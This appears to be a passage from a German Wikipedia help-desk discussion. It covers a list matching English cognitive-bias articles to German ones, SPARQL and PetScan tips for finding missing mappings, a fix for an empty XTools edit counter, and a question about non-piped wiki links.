135	IKEA_effect
136	List_of_cognitive_biases	Liste kognitiver Verzerrungen
137	Zero-risk_bias
138	Disposition_effect
139	Pseudocertainty_effect
140	List_of_cognitive_biases#Processing_difficulty_effect	Liste kognitiver Verzerrungen
141	Endowment_effect
142	Confirmation_bias#backfire_effect	Bestätigungsfehler
143	System_justification
144	Reverse_psychology	Umgekehrte Psychologie
145	Reactance_(psychology)
146	Decoy_effect
147	Social_comparison_bias
148	Status_quo_bias
149	Ambiguity_effect
150	Information_bias_(psychology)
151	Belief_bias
152	Rhyme-as-reason_effect
153	Law_of_triviality
154	Law_of_triviality
155	Conjunction_fallacy	Conjunction Fallacy
156	Occam's_razor	Ockhams Rasiermesser
157	Less-is-better_effect
158	Misattribution_of_memory
159	Misattribution_of_memory#Source_confusion
160	Cryptomnesia
161	False_memory
162	Suggestibility	Suggestibilität
163	Spacing_effect
164	Implicit_stereotype
165	Implicit_stereotype
166	Implicit_stereotype
167	Prejudice	Vorurteil
168	Negativity_bias
169	Fading_affect_bias
170	Peak–end_rule
171	Leveling_and_sharpening
172	Misinformation_effect	Fehlinformationseffekt
173	Recall_(memory)#Serial_recall	Erinnerungsvermögen
174	Recall_(memory)#Serial_recall	Erinnerungsvermögen
175	Duration_neglect
176	Modality_effect
177	Memory_inhibition	Gedächtnishemmung
178	Serial-position_effect#Primacy_effect	Primacy-Recency-Effekt
179	Serial-position_effect#Recency_effect	Primacy-Recency-Effekt
180	Memory_inhibition#Part-set_cuing_effect	Gedächtnishemmung
181	Serial-position_effect	Primacy-Recency-Effekt
182	List_of_cognitive_biases#Suffix_effect	Liste kognitiver Verzerrungen
183	Levels-of-processing_effect
184	Absent-mindedness	Konzentrationsstörung
185	Testing_effect
186	Next-in-line_effect	Next-in-Line-Effekt
187	Google_effect	Google-Effekt
188	Tip_of_the_tongue	Zungenspitzenphänomen

Gruss, --Markus (Diskussion) 21:50, 7. Mär. 2026 (CET)

Hallo, in obiger Liste fehlen bei einigen Einträgen die Zuordnungen, beispielsweise:

• en:Illusory truth effect -> Wahrheitseffekt und Wahrheitsurteile
• en:Context effect -> Kontexteffekt
• en:Frequency illusion -> Frequenzillusion
• en:IKEA effect -> IKEA-Effekt

usw.

Eine SPARQL-Abfrage mit "ist eine (P31)" oder "Unterklasse von (P279)": Stereotyp (Q167172) oder Kognitive Verzerrung (Q1127759) könnte wie folgt aussehen:

• https://w.wiki/JEen

Die Ergebnisliste lässt sich rechts herunterladen oder mit ListeriaBot in eine Wikiliste übertragen und automatisiert aktualisieren:

• Portal:Militär/Militärfahrzeuge/Artilleriezugmaschinen
• Portal:Militär/Militärfahrzeuge/Panzerzüge
• Portal:Militär/Militärfahrzeuge/Panzerwagen
• Benutzer:M2k~dewiki/FAQ#Auswertebeispiele

Bei SPARQL werden allerdings keine Kategorien ausgewertet, sondern Wikidata-Objekte und deren Eigenschaften (sofern gepflegt bzw. vorhanden). Für die Auswertung von Kategorien gibt es beispielsweise https://petscan.wmcloud.org/ --M2k~dewiki (Diskussion) 23:12, 7. Mär. 2026 (CET)

https://xtools.wmcloud.org

Wenn ich im Bearbeitungszähler https://xtools.wmcloud.org/ec?uselang=de&wiki=wikipedia

meinen User Namen eingebe, bekomme ich eine leere Statistik.

Angezeigt werden nur

Benutzer-ID	44.684.540
Registrierungsdatum	2022-10-17 15:59

und der globale Bearbeitungszähler zeigt 114 an. Mach ich da was falsch?

MfG

--Otis Zero (Diskussion) 21:16, 7. Mär. 2026 (CET)

Schau mal nach, was, wenn du den Link anklickst, bei "Projekt" eingetragen ist. Ich vermute mal, dass da "en.wikipedia.org" steht, denn 44.684.540 ist nämlich deine ID in enWP. Wenn du dort "de.wikipedia.org" einträgst, dann solltest du auch deine gewünschte Statistik bekommen. Gruß --Guardian of Arcadia (Diskussion) 21:25, 7. Mär. 2026 (CET)

Super, das war´s. Danke --Otis Zero (Diskussion) 21:30, 7. Mär. 2026 (CET)

Dieser Abschnitt kann archiviert werden. --Guardian of Arcadia (Diskussion) 21:35, 7. Mär. 2026 (CET)

8. März

In welcher Hinsicht sind Nichtpipelinks optimiert?

Liegt der Vorteil von [[Enzym]]en gegenüber [[Enzym|Enzymen]] (Spezial:Diff/265023113) in der angeblich leichteren Lesbarkeit des Quellcodes oder in der Serverbelastung? -- Peter Gröbner – 11:10, 8. Mär. 2026 (CET)

Lesbarkeit und weniger Tippfehler (weil das Wort ja zwei mal geschriben wird) --Wurgl (Diskussion) 11:19, 8. Mär. 2026 (CET)

Verwendet man die Visuelle Bearbeitung, wird nicht zweimal geschrieben, aber danach oft „optimiert“, was m. E. bei neu Mitarbeitenden zu Frustation führen kann. -- Peter Gröbner – 11:25, 8. Mär. 2026 (CET)

Die Frustration sehe ich nicht so recht, allerdings nennt Hilfe:Links#Linktitel bestimmen die Quelltextkürzung lediglich als Möglichkeit und nicht als Präferenz. Es gibt durchaus Gegenargumente, z. B. die Notwendigkeit der Auflösung der "optimierten" Schreibweise beim Umformulieren. Hast Du eigentlich Aka mal deswegen angesprochen? MBxd1 (Diskussion) 11:33, 8. Mär. 2026 (CET)